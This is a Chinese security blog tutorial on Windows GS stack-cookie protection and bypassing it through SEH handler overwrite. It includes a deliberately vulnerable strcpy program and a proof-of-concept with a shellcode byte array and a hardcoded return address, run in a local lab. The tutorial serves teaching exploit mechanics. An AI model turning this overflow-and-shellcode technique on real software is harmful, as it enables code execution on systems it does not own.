freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Windows保护机制GS:原理及SEH异常处理突破
2022-05-04 19:38:28
所属地 内蒙古

前言

本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!

所有环境均为本地环境分析,且在本机进行学习。

GS机制并没有对SEH提供保护,换句话说我们可以通过攻击程序的异常处理达到绕过GS的目的。我们首先通过超长字符串覆盖掉异常处理函数指针,然后想办法触发一个异常,程序就会转入异常处理,由于异常处理函数指针已经被我们覆盖,那么我们就可以通过劫持SEH来控制程序的后续流程。作者:rkabyss

一、GS提供的保护作用

  1. 修改栈帧中函数返回地址的经典攻击将被 GS 机制有效遏制;

  2. 基于改写函数指针的攻击,如对 C++虚函数的攻击,GS 机制仍然很难防御;

  3. 针对异常处理机制的攻击,GS 很难防御;

  4. GS 是对栈帧的保护机制,因此很难防御堆溢出的攻击。

二、GS原理

Security Cookie是由.data段中第一个DWORD进行异或,在程序运行时.data段第一个DWORD一般是随机的,很难去预测它,所以把他当成安全cookie去使用。

Security Cookie一般在进入到函数中后会放在下图当中位置,如果要淹没返回地址一定会先淹没到Security Cookie,在执行到ret返回时程序会调用一个叫做check函数去检查有没有出现问题,Security Cookie在生成时会在栈里和.data段中各存放一个安全cookie,在执行ret时check会对栈中和.data段中cookie进行比较,如果不一样就判断程序被破坏,说明栈发生了溢出。

1651661886_62725c3eb05f61d781fe2.png!small?1651661887335

为了增加Security Cookie随机性,会用.data段第一个DWORD与栈中EBP进行异或操作,当ret时调用check函数再将其异或回去。

1651661920_62725c601ee287b250d3b.png!small?1651661920818

在Security Cookie代码中写了如过没有超过四字节是不会启动安全cookie的,如果要启动只能通过#pragma strict_gs_check(on)使其强制开启。其实这也是绕过的一种方法。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma strict_gs_check(on)

int vulfuntion(char* str)
{
	char arry[4];
	strcpy(arry, str);
	return 1;
}

int main()
{
	char* str = "123123123123123123123123123";
	vultest(str);
	return 0;
}

因为他是带有符号的,直接跳转到main就可以找到主函数。

1651662011_62725cbb5af60c778a61e.png!small?1651662012071

看到Security Cookie生成的安全cookie放到了EAX寄存器中,为了增加安全cookie随机性,安全cookie又与EBP进行异或。

1651662020_62725cc4a533b6c3f0311.png!small?1651662021418

跳转到EBP可以看到,00F3F92C为EBP下边009AD71E为返回地址。

1651662029_62725ccd668ab4bde8d3b.png!small?1651662030158

将安全cookie放入到了EAX寄存器中。

1651662039_62725cd7866250b7f0ac6.png!small?1651662040320

安全cookie与EBP异或完将其放入到EBP-4位置,在堆栈中可以看到。

1651662049_62725ce1b5babb8fed989.png!small?1651662050516

通过上边代码可以看到copy的字符串远大于要传输的空间,所以造成了栈溢出,已将安全cookie、EBP、返回地址全部淹没。如果正常情况下已经可以进行利用,而有了安全cookie之后,在下方使用check函数进行了判断,判断异常直接飞掉。

1651662066_62725cf2aaa0761e9482b.png!small?1651662067445

在调用到check函数之前将安全cookie保存到了ECX中,前面为了增加随机性进行了异或,现在将其进行了恢复。

1651662077_62725cfd02a3763775129.png!small?1651662077795

三、SEH异常突破GS

函数test中存在典型的栈溢出漏洞。在strcpy操作后变量buf会被溢出,当字符串足够长的时候程序的SEH异常处理句柄也会被淹没。由于strcpy的溢出,覆盖了input的地址,会造成strcat从一个非法地址读取数据,这时会触发异常,程序转入异常处理,这样就可以在程序检查Security Cookie前将程序流程劫持。

#include <stdafx.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;

void test(char * input)
{
	
	char buf[200];
	strcpy(buf,input);
    strcat(buf,input);
}

void main()
{
	test(shellcode);	
}

根据release中32程序规则,主函数有三个参数,判断下方call为主函数。

1651662122_62725d2a29e5be4018ecb.png!small?1651662122871

进入到主函数看到call,其实就是test函数,直接进入到test函数当中去。

1651662132_62725d348d2aca745658d.png!small?1651662133279

可以看到整体逻辑如前面原理讲的一样,首先获取到安全cookie保存到EAX当中并与EBP进行异或,在结束时候又将其进行恢复。

1651662142_62725d3edd1443e2cf404.png!small?1651662143624

执行到strcpy函数位置观察栈空间,EBP-4位置为安全cookie,EBP+4为返回地址,EBP+8是参数。后面ESP+44为SE处理程序。

1651662154_62725d4a1fa671603e294.png!small?1651662154865

执行完strcpy函数,观察栈空间发现SE处理程序地址已经被覆盖为shellcode起始地址。

1651662163_62725d53cd3353853e04b.png!small?1651662164505

执行到strcat函数,观察到EBP+8位置已经被覆盖,EBP+8是源字符串,覆盖之后是一个不可访问地址。执行strcat函数会直接进行异常处理,因为源字符串为不可访问地址,而异常处理地址为shellcode起始地址。

1651662172_62725d5c5c04ac5a77e4b.png!small?1651662173040

触发异常处理,进入到shellcode当中,接下来会运行shellcode代码。

1651662180_62725d64b7fcc1c4aaff2.png!small?1651662181429

四、参考链接

https://blog.csdn.net/weixin_43742894/article/details/105800072

https://vultop.com/

《0day安全:软件漏洞分析技术(第二版)》

五、总结

现在很多程序都带有GS,在分析程序的时候发现了缺陷,却因为保护利用不了,先掌握一些突破GS方法,在之后遇到时能将其运用到,之后会对其他一些突破方法进行复现。

# shellcode # SEH # 二进制漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录